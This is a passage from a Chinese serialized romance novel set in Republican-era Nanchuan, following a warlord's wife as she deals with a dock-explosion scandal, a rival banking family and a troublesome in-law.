晏山青目光陡然深了一度,眼睛一眨不眨地看着她,像有一股漩涡,要将她吸拽进去。
江浸月也莫名想起晏山青解开几颗扣子时露出的结实肌肉……她当时还在他胸膛上看到了刀疤。
她一直都知道,他是尸山血海里杀出来的督军,但他平时穿着军装,给她的感觉也就是比较强悍。
那晚直面他的身体,她才清晰地意识到,这个男人,真的很像一头猛兽。
“夫人在想什么?”晏山青嗓音低沉,好像看穿了她脑子里的东西。
“……”
江浸月不自然地煽动眼睫,连忙转移话题,“督、督军刚才说有事要问我,什么事啊?”
晏山青盯着她绯红的耳垂,喉结滚动,抬手点了一根烟,烟雾也吹散了那股若有若无的暧昧气息。
他淡声问:“你不是回江家商量对策去了么,有什么结果?”
提到这件正事,江浸月立刻将脑海里杂七杂八的念头盖住,转而将准备已久的说辞拿出来:
“督军,这件事的责任虽然不在江家,但我大嫂毕竟是杨家人,亲戚之间应该守望相助,所以我大哥还是去安抚了死者家属,我大嫂和我妈也去医院看望伤者。”
“我爸则打算亲自去找万国军,要求他出面认错道歉,以及赔偿受损的船只,并且引咎辞去杨家掌门人的位置。”
晏山青骨骼分明的手指掸去烟灰:“态度尚可。”
江浸月收到肯定,抿唇一笑,继续道:“我们还反思了,之所以会有今天这场悲剧,万国军的嚣张野蛮是一方面,另一方面是码头一直没有制定出一个清晰的规则。”
“比如两艘货船狭路相逢时,应该谁让着谁?如果不按照规矩礼让,又会有什么惩罚?”
“如果这些规矩都能制定好的话,以后再发生类似的事情,也有条例可以照章办事。”
“所以我们想着,或许可以联合商会,制定出一个人人都要遵守的行业规则,俗话说,亡羊补牢,为时不晚。”
江浸月娓娓道完,便态度积极又认真地望着他,“督军,您觉得呢?”
晏山青在脑子里过了一遍她的方案:“无规矩不成方圆,想法很对。”
江浸月心下一喜,将椅子朝晏山青的方向挪近一点。
屋里开了电灯,暖黄色的光线照着她的面容,她肤白胜雪,这么一衬,有些温暖之意。
“那,督军支持吗?”
晏山青挑眉:“你想我怎么支持?”
“如果督军支持的话,能不能帮我们跟商会协商?”
江浸月感觉晏山青这会儿心情不错,心里希望他顺势应一句“可以”,那就万事大吉了。
然而,晏山青没那么好哄。
他掐灭了烟,开口就直击重点:“你们自己没办法协商?”
“……”江浸月没办法,只能说实话,“督军可能不知道,商会会长白家跟我们江家有过一些矛盾,他们巴不得看我们家出事,不可能会帮我们的。”
晏山青:“什么矛盾?”
“陈年旧事了。”
晏山青紧追不舍:“我好奇,说来听听。”
江浸月没办法,只能将那段旧怨从头到尾说给他听:
“白家的金隆银行,跟我们江家的汇源银行,并称为四大银行。十几年前,白家打着‘强强联手’的主意,曾上门提亲,想让我嫁给白家那个独生子。”
“但他家那个儿子,从小就是一个不学无术、吃喝嫖赌,还抽大烟的纨绔,我爸厌恶得不行,当场就回绝了。白家心眼小,由此就记恨上了我们江家。”
“后来,我们汇源银行机缘巧合得了一大笔存单,风头一时无两,但没多久,我爸外出谈生意,就在路上遇到一伙装备奇佳的‘流寇’作乱。”
江浸月的声音沉了下去,“多亏了当时的蒋临泽机警,替我爸挡下一刀,又护着我爸杀出重围,我爸才保住一条命。”
“我们后来根据各种蛛丝马迹分析,都觉得那伙人就是白家雇的,奈何推测只是推测,没有留下证据,最后也只能不了了之。”
但从这之后,两家的梁子,就彻底结下了。
只是江家毕竟是督军亲眷,所以白家才没敢过分,两家人就这么面和心不和地在这南川生活着。
晏山青听完,指尖在椅扶手上点了点,忽然问了一句:“你跟沈霁禾,不是打小的娃娃亲么?白家不知道你家跟督军府有亲事?怎么还敢来提亲?”
江浸月回答:“他们觉得已经是民国了,提倡婚嫁自由,只要我家答应,督军府那边也不能强拦着。”
晏山青挑眉,从这儿就能听出,白家确实很蛮不讲理,是土匪做派。
难怪能做出雇凶杀人的事。
晏山青鼻腔里极轻地哼了一声,辨不出情绪,又问:“后来呢?白家那个儿子,跟你们家还来往吗?”
江浸月敏锐地看了他一眼。
她感觉……晏山青好像有点儿在意白家曾打过她主意的事?
她原本没打算说这种无关紧要的小细节的,但此刻心念微动,还是讲了出来,语气也带上了一点微弱的、恰到好处的委屈:
“两个月前,白家想看我家笑话,故意羞辱我家,叫了媒婆上门,说白少爷不嫌弃我,想纳我做妾……然后就被我妈妈拿着扫帚打出去了。”
两个月前,也就是沈霁禾战死后。
晏山青听着,目光落在她微微颤动的睫毛上。
过了几秒,他忽然意味不明地笑了一下,嗓音低沉听不出情绪:“夫人,你在我面前,倒是越来越会告状了。”
第44章 他要扶持白家打击江家?
江浸月抬起眼,眼神清澈无辜:“我哪有告状?督军问起,我便如实交代,也没故意污蔑谁,这些旧事知道的人不少,督军不信可以派人去打听。”
“而且,我跟您说这些,不是想让督军替我报复白家。”
“我只是希望督军能出面斡旋,推动码头规矩的制定,这归根到底也是有利于南川商贸和百姓生计的好事,对督军治理南川也……”
她正认真地解释着,脑海里突然划过一道闪电,一个被她忽略的致命问题猛地炸开来!
白家……
白家原先的根基就在东湖!
因为东湖连年战乱,生意不好做,十几年前才逐渐将重心迁到南川,但他们在东湖的产业也并未完全放弃,依旧经营着。
也就是说,白家跟晏山青这个东湖之主,很可能早就有过交集!
江浸月掌心突然出了一手冷汗——如果是这样,那么在晏山青入主南川后,白家这种大商贾,会不会为了保住家业,甚至是博出位,便暗中倒向晏山青,成为他新派势力中的一员?
这样的话,那她此刻在晏山青面前细数白家的不是,岂不是跳梁小丑?
这也就罢了,她甚至可能阴差阳错地提醒了晏山青,可以利用白家来打击江家!
江浸月心下顿时一沉,一股寒意从脊背窜了上来,后面的话都忘了说,脸色微微发白。
晏山青挑眉:“夫人怎么不继续说了?”
“……”江浸月咬住下唇,微妙地改口道,“对督军治理南川,也有帮助。”
“当然,如何治理南川,督军自有主意,轮不到我一个妇道人家指手画脚,我本意也只是想尽快平息码头爆炸事件,我大嫂今天听到消息,当场就吓晕了……我们只是想过太平日子而已。”
晏山青挑眉,好像听出了她话里有话,又好像只是就事论事,不置可否道:
“制定码头规矩的事确实还不急。你们当务之急,是说服万国军出来道歉、赔偿,先把眼前的民愤平息了。做完这一步,再说别的。”
这话听起来公事公办,并未偏袒任何一方。
但江浸月已经种下不安的种子,种子疯狂生根发芽,完全抑制不住。
晏山青看了下手表,起身:“我还要去码头,今晚就不回来了。”
江浸月压下各种情绪,抿唇道:“督军辛苦了,但也注意休息,别累到自己。”
晏山青随意地点头,走到门口,想起什么,停下脚步,转头对江浸月道:“明早记得来送早餐。”
这话听起来像是指使,但其实是在护着她——给了她一个明日一早就能光明正大离开督军府、不必去寿松堂面对老夫人的完美理由。
江浸月虽然心乱如麻,但领他这个情:“是,我一定亲手做了,给您送过去。”
晏山青这才大步离开。
他一走,江浸月立刻唤来明婶:“您立刻回一趟家,让大哥想办法打听,白家跟晏山青,在东湖的时候,是不是就有来往了?”
明婶不懂意思,但看出她的着急,便连忙应声而去,直到深夜才回来。
“夫人,大少爷和老爷不敢去打听,怕落人话柄,但他们分析了一通,觉得督军能从东湖一路打到南川,粮草军饷消耗巨大,中间必定有富商巨贾的资助!”
“白家银行根基深厚,又在东湖经营多年,极有可能早就跟督军搭上线,也极有可能就是资助者之一!”
“之所以没有公开,大概是怕在南川背上‘资助反贼、背叛沈督军’的恶名,毕竟沈督军在南川百姓心里威望高,他们怕影响自家生意。”
“但等过个一年半载,局势稳定了,督军论功行赏,白家的‘从龙之功’绝对跑不了,到那时候,南川东湖的银行,就要以白家为尊了!”
“……”
江浸月坐在灯下,脸色有些白,她低声道,“如果真的是这样,那我们的情况就非常糟糕了。”
白家跟他们江家本就有仇,他们早就想对付江家,“巧”的是,晏山青也一直在找机会收拾江、沈两家,这不就是一拍即合吗?
明婶也慌了,但还抱有一线希望地说:“夫人,会不会是我们把情况想得太严重了?我觉得督军完全没有迁怒您的意思啊,对您一直是好声好气的,刚才还不惜顶撞老夫人解救您……”
确实不排除是他们草木皆兵、杯弓蛇影,但江浸月觉得多一个心眼,总比纯粹乐观地倚仗男人那点若有似无的情意要强。
·
事实证明,越怕什么就越来什么。
第二天,南川各大报纸的头版头条,就都刊登了金隆银行白家的声明——
白家慷慨陈词,先是沉痛地悼念了码头爆炸案中的遇难者,并宣布捐出一笔巨款用于抚恤伤亡人员家属;
紧接着话锋一转,又表示要从这场悲剧中吸取教训,强烈呼吁,并愿意牵头,联合商会尽快制定详细的码头航运行业规则,杜绝此类事件再次发生。
此举一出,白家瞬间赢得了满城百姓的赞誉,金隆银行的业务也随之水涨船高。
而在这一片褒奖声中,便不乏有人将“纵容亲眷、毫无作为”的汇源银行江家拉出来对比鞭挞。
爆炸案本就激起的民愤,有了白家这个“正面榜样”衬托,江家这个“罪犯亲属”就显得更加可恶,江家的声誉直接跌至谷底。
江浸月看着报纸,胸口堵得慌。
她几乎可以由此断定,白家就是晏山青的人!
否则她昨晚刚对晏山青建议要制定码头规则,收拢民心,今天白家就大张旗鼓地提出,哪有这么巧的事?
晏山青就是已经开始对付江家了!
“……”
江浸月深深吸了几口气,然后收起报纸,拎起包子——去给晏山青送早餐!
她脚步匆匆,急着出门,因此没有注意到,走廊下有一双眼睛正冷冷地盯着她。
宋知渝恨得要命!
就因为江浸月反对老夫人将抬她入府,害她一夜之间沦为晏家笑柄!
现在下人们都说,她哪怕怀了督军的孩子,也是名不正言不顺的“宋小姐”,放在一百年前就是一个连妾都不如的通房丫鬟!比不上明媒正娶的督军夫人。
此等羞辱,她要是不报复回去,她就不是宋知渝!
有一个念头如同毒蛇窜过草丛,宋知渝摸着自己的肚子,冷冷一笑。
走着瞧吧,江浸月!
……
江浸月到了码头,不过没在营帐看到晏山青。
警卫员说他去海上巡视了,但晏山青走之前也交代了,她来的话,可以在营帐里等。
江浸月便坐在椅子上等,忽然,她的目光瞥见晏山青的办公桌上有什么东西……哦。
是一个金属打火机。
被随意丢在文件旁,上面的火石掉了出来。
江浸月拿起来看了看,猜想应该是晏山青用的时候弄坏了,顺手放在这儿等有空再修。
反正闲着也是闲着,她便从自己头上拔下一根细发簪,拈起那粒小小的火石,尝试将它装回去。
晏山青巡视完回来,掀开帘子,看到的就是这样一幅画面——
他那位小夫人,陷在他那张宽大的皮椅里,显得身段越发窈窕,有种闯入禁地的柔弱与大胆,与周遭肃杀的气氛格格不入,却又奇异的和谐。
就仿佛她这样柔弱的女人,就该配那样冷硬的男人……即使他知道,她其实并不柔弱。
晏山青看了一会儿,走过去。
第45章 直接问!是不是督军做的?!
江浸月知道他来了,眼睛还盯在那个细小的零件上,头也没抬道:“督军等会儿,我马上就修好了。”
晏山青没说话,站在她椅背后方,弯腰,俯身,靠近,一只手臂撑在桌沿,看起来像是把她圈在怀里。
“你还会修这个啊?”他也在看那个打火机。
“……”江浸月手轻微抖了一下。
他这么靠近,她能若有似无地感觉到他胸膛散发出的热度,以及嗅到他身上清冽的气息。
她屏住呼吸,强作镇定,继续手上的动作。
过了一会儿,“咔嗒”一声,江浸月唇角一勾,刚要抬起头,一只骨节分明的大手就伸过来,直接握住她的手掌。
江浸月猝不及防!
“好了?”晏山青低沉的嗓音,近在耳畔。
江浸月低声:“……好了。”
晏山青就着她的手,拇指一滑轮,“嚓”一声,橘黄色的火苗在两人的手里蹿了起来,映亮彼此的脸庞。
晏山青挑眉,有点玩味儿:“还真好了。”
“……”江浸月整个人都被他笼罩住,他的压迫感强到她有些无法承受。
她不动声色地收起火,借着放下打火机的动作,将手从他掌心里抽走。
再微微偏头,将发簪插回发间,轻声解释道:“在国外留学的时候,周围同学大部分是外国人,课余时间觉得无聊,就喜欢自己鼓捣些小东西,拆拆装装,慢慢就会了。”
晏山青看着她微微泛红的耳朵尖,意味不明地哼笑一声,将打火机收进口袋,也从她身后离开,走向桌子。
“来送早餐?”
他走开了,江浸月才能重新恢复呼吸……怎么能有男人侵略性强到这个地步?
她定了定神,才回道:“是啊,昨天答应督军的。”
江浸月走过去,将食盒打开,里面是还冒着热气的包子和软糯的小米粥,“督军趁热吃。”
晏山青坐下,接过她盛来的粥,开始吃。
江浸月则在他对面坐下,安静地看着他。
晏山青很快吃完,拿起帕子擦了擦手,抬眼看她:“夫人还有事?”
江浸月迎着他的视线,选择用最直接的方式:“督军看过今天的报纸了吗?”
晏山青表情没什么变化:“看了。”
“那是督军告诉白家,可以用制定码头规则的方式来收买人心的吗?”她问得更直接了。
晏山青身体往后一靠,椅背发出轻微的声响,像一只吃饱喝足,慵懒趴着的雄狮:“你觉得呢?”
“我不知道,所以才问督军。”江浸月轻轻抿唇,“督军如果觉得不方便回答,可以不回答。”
“但我还想说,督军,于公,我们是合作伙伴;于私,我们是夫妻。当初谈好的合作条件里,您应该护着江家;基于夫妻情分,您也该帮衬妻子的娘家。”
“您这么做,是不是不太合适?”
晏山青笑一声:“我不记得,我跟你谈好的合作条件里,有‘护着江家’这一条。我记得我只答应你,留下沈家人性命。”
他语气平淡,字字清晰,有点无情,瞬间就将刚才那点朦朦胧胧的暧昧驱散个干干净净。
江浸月目光一闪,无言以对。
“不过,你最后一句倒也没错,妻子的娘家被骂得太惨,我这个督军面上也无光。所以,夫人和岳父岳母,最好还是快点解决这件事。”
江浸月不禁道:“督军也太强人所难了,又要帮着白家来压我们江家一头,又不准我们江家给督军丢脸,这要我们怎么做?”
晏山青身体忽然前倾,目光锁住她的眼睛:“我说是我帮白家了?”
江浸月心跳倏地漏了一拍,强迫自己稳住呼吸:“……否则白家怎么知道要给码头制定规则?”
晏山青盯着她看了几秒,又撤回身体,重新靠回椅背,懒洋洋地道:“自己想。”
“……”
江浸月深吸了口气,压下心头一惊一乍的情绪,冷静点头,“好的,我明白了。那不打扰督军公务了。”
她起身,收拾了空食盒,离开了营帐。
……她选择直接问晏山青,并非莽撞。
而是报纸一出,她就是会知道白家用的招数,是她昨晚跟晏山青说的那些,这个时候不去问他反而显得古怪,去问才“合理”。
所以她就问了,还能从他的反应里,摸清他对江家的真实态度。
晏山青那些话,江浸月理解的意思是,不是他告诉白家办法,他没想利用白家对付江家。
但要他收拾白家?不可能;要他帮助江家?也不可能。
他的态度是——麻烦是你们自己惹的,自己处理好,处理不好连累到我,那就别怪我翻脸不认人。
“……”
江浸月彻底清醒了。
她从一开始就不该对他抱有“帮助”的幻想。
他是她的东家,什么时候见过东家会替手下解决麻烦?只见过手下办事不力就被东家一脚踹开的。
想靠他救江家,此路不通。
甚至,江家的事继续扩大,真的影响了他的脸面和统治,他只会动手收拾得更快更狠。
方向错了,就得立刻调整,江浸月冷静下来,然后上了车:
“去江家……不,去万家!”
·
营帐内,晏山青把玩着打火机,点燃,熄灭,点燃,熄灭。
脑海里掠过他弯腰看江浸月修打火机时,瞥见的她脖颈处细腻的肌肤。
苏拾卷忙完进来,一眼看到空了的碗碟,立刻啧了一声:
“弟妹来过了?你这人,也不给我留点儿。”
晏山青眼皮都懒得抬:“我夫人给我送的早餐,有你什么事?”
“怎么那么快就走了?”苏拾卷自顾自坐下。
晏山青想起她那些直白的质问,哼笑一声:“她忙着呢。”
苏拾卷脑子好用,一下就想明白,肯定是早上报纸那事儿。
他看晏山青手里有打火机,就递给他一支烟,自己也含了一根:“对了,你知道我昨天早上去杨家的时候,遇到谁了吗?”
晏山青自顾自点了烟,没兴趣跟他玩猜谜的兴趣,缓缓吐出烟雾。
苏拾卷揭晓答案:“遇到你那位老丈人。”
晏山青从江浸月那儿听说了江父的打算,所以并不意外。
苏拾卷顺手要用他的打火机点烟,结果晏山青不知道犯什么病,躲开了,不给,还将打火机收进口袋里。
“……”苏拾卷无语,但也没计较,拿了自己的点燃,接着说,“他是去劝万国军站出来认错,并且引咎辞职的。”
“但万国军那种滚刀肉,我见多了,打眼一看就知道,他绝对不可能对他眼里的‘下等贱民’低头。果然,你老丈人碰了一鼻子灰,脸色铁青地走了。”
“怎么劝的?”晏山青随口问。
“还能怎么劝?威胁他呗,说如果不出来认错,他的布厂就要没了。”
苏拾卷笑,“可人家万国军也不是被吓大的啊,梗着脖子回了一句,‘我倒要看看,我能怎么丢了杨家布厂’,当场就把你老丈人给噎回去,愣是没再说出话来。”
晏山青猜,这番威胁的话术,八成是江浸月教她爸说的。
这女人的聪明和手段,他从第一次见面就领教过了,面面俱到,只是还透着点学生气的青涩,不够老辣。
第46章 他总是不自觉想起她
晏山青夹着烟左右看了看,苏拾卷顺手将自己面前的烟灰缸推过去:
“再说这个万国军,也是个‘神人’。”
“他是入赘到杨家的,老丈人一死,他就把原配夫人,也就是杨慧敏的亲妈逼疯,转头又娶了自己的表妹。”
“这对黑心夫妻联手虐待发妻留下的女儿杨慧敏,还想用小女儿顶替杨慧敏履行沈、江娃娃亲,嫁进江家,奈何江家大少爷铁了心要娶杨慧敏,他才能没得逞。”
“就这,他也不觉得不好意思,但凡有点什么事,照样理直气壮地去找江家帮忙。而江家呢,又是厚道人,看不得自家儿媳为难,能帮的也就帮了,这才一步步到了今天。”
晏山青哂笑一声,没说话。
在他看来,江家这就是作茧自缚。
对付万国军这种人,早就该彻底切割。
他对杨慧敏又不好,这样的岳父,断绝关系也没什么大不了,偏偏一次次心软,这才惹来今天这泼天大祸。
江浸月也是这样的,不愧是江家养出来的女儿,总想护着所有人,南川百姓要护,沈家人要护,江家人要护,结果有几个人领她的情?
……嗯?
晏山青突然皱了一下眉,对自己什么事都能拐到江浸月身上去想的习惯,感到一阵莫名的烦躁,他弹烟灰的动作大了点,烟灰簌簌落在桌面上。
苏拾卷还在侃侃而谈:“万国军这种滚刀肉、二皮脸,你越给他脸,他越不要脸,江家想用文明人的方式劝他出来认错平息事端,那是不可能的。他只会要求江家去帮他摆平所有麻烦。”
说到这里,他好奇地看向晏山青:“对了,弟妹有没有来找你帮忙?”
晏山青掸了掸烟灰,语气平淡:“找了。但我没帮。”
苏拾卷想了想,倒是点头。
也是。
不帮是对的。
不是专门针对江浸月和江家,而是沈家在南川盘踞多年,树大根深,虽然沈霁禾死了,但残存的旧势力依旧是心腹大患,新政权要想站稳脚跟,就必须削弱他们。
江家跟沈家捆绑几十年,早就是一体,哪怕江家女现在成了督军夫人,也改变不了这个事实,所以江家确实该压一压。
至少不能让他们再那么一呼百应。
这次事件是个好机会,就让江家自食恶果,元气大伤一下。
道理苏拾卷都懂,但还是唏嘘地摇了摇头:“不过嘛,到底是枕边人,你这么‘冷酷无情’,回头还是得好好补偿一下弟妹,小姑娘家家的,也挺委屈的,别因此留下隔阂才好。”
晏山青没接这话,将烟蒂摁灭在烟灰缸里。
苏拾卷见他沉默,也心知肚明,这对夫妻,从一开始就横亘着沈霁禾的死、南川的权,以及江沈两家的未来,注定是难以纯粹。
能相敬如宾已经很不容易了,想要毫无隔阂……除非心意相通,恩恩爱爱,否则一辈子都要活在互相猜忌里。
晏山青捏了捏鼻梁骨,站起身:“这边的事情处理得差不多了,后续的清理和抚恤,你盯着善后。我先走了。”
“成,你去吧。”苏拾卷应道。
晏山青大步离开营帐,上了车,车子驶离码头。
窗外的景象从杂乱繁忙的江岸,逐渐变为南川城内的人来人往。
晏山青靠在后座,目光看着窗外流逝的街景,神色有些沉,也不知道具体是在看什么,或者是在想什么?
途经一家门面阔气的洋行时,他目光微顿,忽然开口:“停车。”
司机立刻将车靠边停下。
晏山青推开门下车,脱了引人瞩目的军装外套,随手丢进车后座,只穿着白衬衫进入洋行。
……
与此同时,万公馆。
这座宅子原本姓杨,杨老爷子去世后,万国军便迫不及待地改换门庭,连他跟他表妹生的那个女儿,也直接姓了万。
别人家赘婿“三代还宗”就是十分无耻了,而他是人死灯灭,吃相更是难看。
客厅里,江浸月的大哥江泊禹,已经枯坐将近两个小时,却还是不见万国军的身影。
他性子沉闷,虽然心中焦灼,但只是眉头紧锁,继续耐心等待。
昨天江父亲自上门让万国军出面道歉,他不肯,今天他必须让万国军答应,否则码头爆炸事件就解决不了!
这时,一个穿着桃红色旗袍的年轻女子,端着茶盘走了进来,正是万国军和表妹生的女儿,万敏敏。
“泊禹哥哥,你等口渴了吧?我沏了一杯雨前龙井给你润润喉~”
她声音娇嗲,将茶杯递过去时,手腕却像是突然一软,整杯茶水眼看就要泼到江泊禹身上!
江泊禹反应极快,立刻侧身避开,万敏敏顺势“哎呀”一声,直接朝江泊禹的怀里倒下去!
!江泊禹立刻像摸到烫手山芋似的,毫不怜惜地将她推开!
万敏敏万万没想到他会这么粗鲁地推开自己,结结实实地在地上摔了个屁股蹲,茶杯也摔得粉碎,茶水溅湿了她的裙摆。
“泊禹哥哥!”
万敏敏又气又委屈,“你干嘛呀!怎么这么粗鲁地对人家!人家好心给你送茶,你不但不接还推我!人家是女孩子,摔得好痛啊……”
江泊禹脸色铁青,后退一步,声音硬邦邦的:“万小姐,请自重!”
万敏敏自己从地上爬起来,拍了拍裙子,非但不收敛,反而凑近一步,直勾勾地看着江泊禹:
“自重?泊禹哥哥,你跟我需要讲什么自重?你忘了吗,当初本来应该嫁给你的人是我!”
“都怪杨慧敏那个老女人不要脸,仗着年纪大就抢了我的婚事!我哪里比不上她了?是没她老?还是没她那么整天端着个架子无趣?”
她越说越激动,言语也愈发刻薄,“你要是娶了我,我们现在就是一家人,我爸肯定什么都听你的,哪还会有今天这些麻烦事?泊禹哥哥,你现在回头也还来得及……”
“万敏敏!你住口!慧敏是你姐姐,你怎么能说出这么无耻的话?!”
江泊禹气得脸色铁青,但他嘴笨,不会吵架,只能这么呵斥。
“泊禹哥哥,”万敏敏觉得还有戏,还要上前拉扯,“你看看我,我比她年轻,比她漂亮,更比她懂风情……”
“万家的小姐,原来就是这么‘懂风情’的?”
一道清冷的女声自门口传来,打断了万敏敏愈发不堪入耳的话。
万敏敏下意识回头,只见江浸月不知何时进来了,就站在门前。
第47章 厉害的男人都是她江浸月的
江浸月一身秋叶黄色的旗袍,裙身有蝴蝶的图案,外罩一件毛色靓丽的白狐毛披肩,衬得她优雅又高贵。
她目光平静地看着万敏敏,面上没什么表情,却自有一股不容侵犯的威压。
万敏敏被她看得心里一虚,随即想到这是在自己家,又挺直了腰板:“你、你怎么来了?”
江浸月缓步走进来,没看她,先对江泊禹道:“大哥。”
然后才将目光重新投向万敏敏,语气淡淡:“万小姐年纪轻轻,记性却不好,这宅子的一砖一瓦,当初都是我大嫂的母亲,杨老夫人一手操持建起来的,你一个外人可以住在这里,我是自家亲戚,反而不能来吗?”
“你!”万敏敏被堵得无言以对!
“至于你刚才说的那些,”江浸月上下扫了她一眼,目光带有几分讽刺。
“我建议你收回去。未出阁的姑娘家,把给人做妾、撬姐夫墙角这种事挂在嘴边,传出去叫人耻笑是小,耽误了万小姐日后寻觅真正的‘良缘’,可就得不偿失了。”
万敏敏恼羞成怒,一跺脚,指着她就要骂:“江浸月!你不过也是个二嫁的——”
“万小姐,”江浸月的声音不高不低,打断她的口不择言,“注意你的身份,也注意我的身份——督军夫人也是你能随意置喙的?”
万敏敏被她陡然凌厉的气势慑住,一时不敢再说什么。
她其实也有听说,那个新督军好像很看重她,又是带她出席宴会,又是给她撑腰,确实不是她惹得起的……
万敏敏咬住下唇,就是觉得不甘心,怎么什么厉害的男人都是她江浸月的?!
从前是沈霁禾,现在是晏山青,她却连要个江泊禹都要不到!
就在这时,楼梯上传来了脚步声,万国军终于慢悠悠地踱了下来,脸上堆着假笑:
“哟,今天是什么风,把督军夫人和江大少爷都吹来了?敏敏,还不快退下,别在这里丢人现眼!”
万敏敏本就想走了,闻言撅了噘嘴,乖乖退走。
只是临走前,从江泊禹身旁经过,还故意用手肘撞了一下他,江泊禹的脸色难看至极。
江浸月的眼底也划过一抹嫌恶。
万国军招呼着他们坐下,又喊佣人重新上茶上点心,一派从容自若、不疾不徐的样子。
不知道的,还以为那场震惊南川上下的码头爆炸案,跟他一点关系都没有呢。
“浸月啊,泊禹啊,中午就留下来一起吃饭吧,正好前两天我一位老友出城狩猎,打到一只雄鹿,送了一半鹿肉来给我。这鹿肉可是人间美味,无论是煎炒还是做汤,都是极美味的。”
江浸月和江泊禹对视了一眼,江浸月语气很淡地说:
“万老爷,我们的来意,你应该心知肚明,也就不绕弯子了。码头的事,你是真不准备出面做点什么吗?”
万国军老神在在:“死了的那些不是已经拉走埋了吗?活着的在医院治着,这不就得了么?我一个五六十岁的老朽,还能做什么?总不能指望我到码头打捞船只残骸,或者重新修筑工事吧?哈哈哈哈!”
江浸月面色一沉:“我们是要你出面道歉,并且辞去杨家布厂负责人的位置。”
万国军脸上的笑意收敛了几分,而后又岔开话:“浸月啊,我再跟你说说这鹿肉的烹饪方式,等会儿你带些走,让督军也尝尝鲜。”
江泊禹从未见过如此厚颜无耻之人!
他握紧拳头,在膝盖上重重一锤,沉声道:“万老爷,我们没跟你开玩笑,我们今天来,就是要你一个说法!”
“我父亲跟我这些年,对万家已经是仁至义尽,这次万家惹下这么大的祸事,你如果还不肯有所表示,那么汇源银行将立刻冻结万家所有信用贷款!并且联合其他与杨家布厂有生意往来的商铺,停止收购杨家布料!你觉得在这样的情况下,你的万家还能撑几天?!”
这话正中万国军的要害,万国军脸色大变,随即拍案而起:“江泊禹!你别忘了你是谁的女婿!你竟敢这么跟老子说话,反了你了!”
江浸月清冷开口:“我们江家就是还认你们万家这门亲戚,才几次三番上门好言相劝,否则我们直接一纸文章登到报刊,宣布断绝与你万家所有关系,我们一样可以全身而退。”
“只不过到那时候,没了江家做靠山的万家,会发展到什么地步,那就不得而知了。”
万国军又倏地看向江浸月!眼神风云变幻。
他不蠢,看得出来新督军上位后,江家和沈家就是要被清理的心腹大患。
晏山青嘴上说着什么不会牵连老弱妇孺、不会为难投诚部下,但怎么可能真的放过?
他只是接管区区一个杨家布厂,都要将原来的老人或赶走或打压,这就是一朝天子一朝臣的铁道理!
所以沈家才每天都跟缩头乌龟似的躲在府邸里不敢出来,江家也是谨小慎微,生怕被抓住一点错漏。
他也是算准了江家这个心理,才敢大摇大摆要求江家替他们万家擦屁股——毕竟人尽皆知万、江两家是亲家,打断骨头连着筋,拔出萝卜带出泥,他们是一体!
可没想到,江家这次居然这么狠得下手!
江浸月起身,跟江泊禹站在一起。
兄妹俩一刚一柔,却都很有气场:“万老爷,话已至此,剩下的你自己掂量吧。大哥,我们走。”
两人转身就要离开。
万国军的脸色变了几遍,闭上眼睛,过了几秒,开口喊:“等等!”
江浸月和江泊禹停下脚步。
万国军走到他们面前,原本阴沉的脸色突然间又露出谄媚的笑:
“贵婿啊,小姑子啊,咱们都是一家人,哪就到这个地步了呢?不就是出面道歉吗?这都是应该的,来来来,我们坐下一起商量。”
半个小时后,江浸月和江泊禹从万家出来。
冷眼旁观着万国军殷勤又热络地指挥着佣人,将打包好的半片鹿肉装上车,他还贴心地叮嘱要包好,免得让血水渗出来弄脏了督军夫人的座驾,回头熏到督军,那就是他的罪过了。
江浸月和江泊禹都是面无表情,之后上车,车子从万家驶离。
万国军脸上的笑容瞬间收了起来,朝着车尾“呸”了一声!
万敏敏跑出来,搂住他的手臂:“爸,您真的要答应他们出面道歉吗?您别答应啊,就吊着他们,让江泊禹再上门求您,到时候您就能要求他娶我了!”
第48章 让督军喝鹿鞭汤?!
万敏敏还在肖想江泊禹。
万国军脸色阴沉,朝她的脑袋重重敲了一下!
“我要是不听他们的,万家就保不住了!到时候江泊禹更不会要你!你这个废物,给了你那么多时间,你都拿不下他!”
万国军心情不好,黑着一张脸转身回屋。
万敏敏捂着被敲疼的地方,咬着唇跺脚,却没有死心。
她一定要嫁给这南川城里最厉害的男人!要做人上人!
她要像江浸月一样,穿好的、戴好的,出门坐车,谁见了都要对她低声下气!
……
江浸月先送江泊禹回江家,车上,兄妹俩说起话来:
“万国军虽然答应出面道歉,但还得盯着他做,越快越好……早上的报纸一出,汇源银行短时间内还是会受负面影响,只能再慢慢想办法恢复声誉。”
“可惜,码头制定规则的事被白家抢了先,否则我们也能借此挽回一些民心。”
江泊禹打断她的话:“皎皎。”
“怎么了,大哥?”
“我跟爸商议过,在想咱们汇源银行和江家是不是要‘弱’一点比较好?”
江浸月一怔,抬头看他:“大哥的意思是……”
“现在是新政权当道,我们还是应该韬光养晦,避其锋芒。否则,督军怎么会放心?”
江浸月愣愣地看着大哥。
江泊禹温声道:“那样一来,你在晏家的日子也不好过。”
江浸月眼眶蓦地一红。
她原本以为自己不委屈,可大哥这一句话,就让她想起老夫人逼她同意抬平妻进门的刁难、宋知渝肚子里怀着晏家长子的压力、晏山青喜怒无常的性格,还有不知道是否出卖她计划给白家的打压。
这种种挫折在这一瞬间席卷而来,她咽了一下喉咙,低下头没有说话。
江泊禹不擅长哄人,只能像小时候一样,摸摸她的脑袋:“没事,只是准备缩减业务,低调行事。爸也准备渐渐退下来,把银行交给我,以后就跟妈享清福去。”
但江浸月知道,如果不是因为要躲避锋芒,江父绝对不会就这么退休。
她勉强提了提唇角:“……也好。”
次日一早,头版头条就刊登了万国军向全体遇难人员及家属诚恳道歉的手写信。
信中还写到,他会引咎辞去桥头杨家布厂负责人的位置,以及配合警察局的处置,该赔偿赔偿,该坐牢坐牢,总算是勉勉强强地将这件事揭过去。
而在不太引人关注的角落里,汇源银行也陆续关闭了在东湖和西江的十几家分行,以及退出一些商业投资,大大缩小了自己的商业版图。
后来的很长一段时间里,江家人也都没有出现在各种各样的宴会,就仿佛是销声匿迹了那般。
不过这都是后话了。
现在的江浸月,将刊登着万国军道歉内容的报纸拿到晏山青面前,嘴角微弯:“督军看,我们让他出面道歉了。”
晏山青随意地瞟了一眼报纸,而后就将目光落回江浸月的脸上:“以后也跟他们切割开,有这么一门亲戚,我也挺担惊受怕的。”
江浸月觉得好笑:“督军会害怕?那敢不敢吃万国军孝敬给您的鹿肉呢?我请师傅做成了红焖鹿肉,刚出锅,撒上了香葱和芝麻,味道应该还不错。”
晏山青靠坐在红木圈椅上,立体的五官被暖黄色的电灯映照出几分暖意,少了平时的凌厉之气。
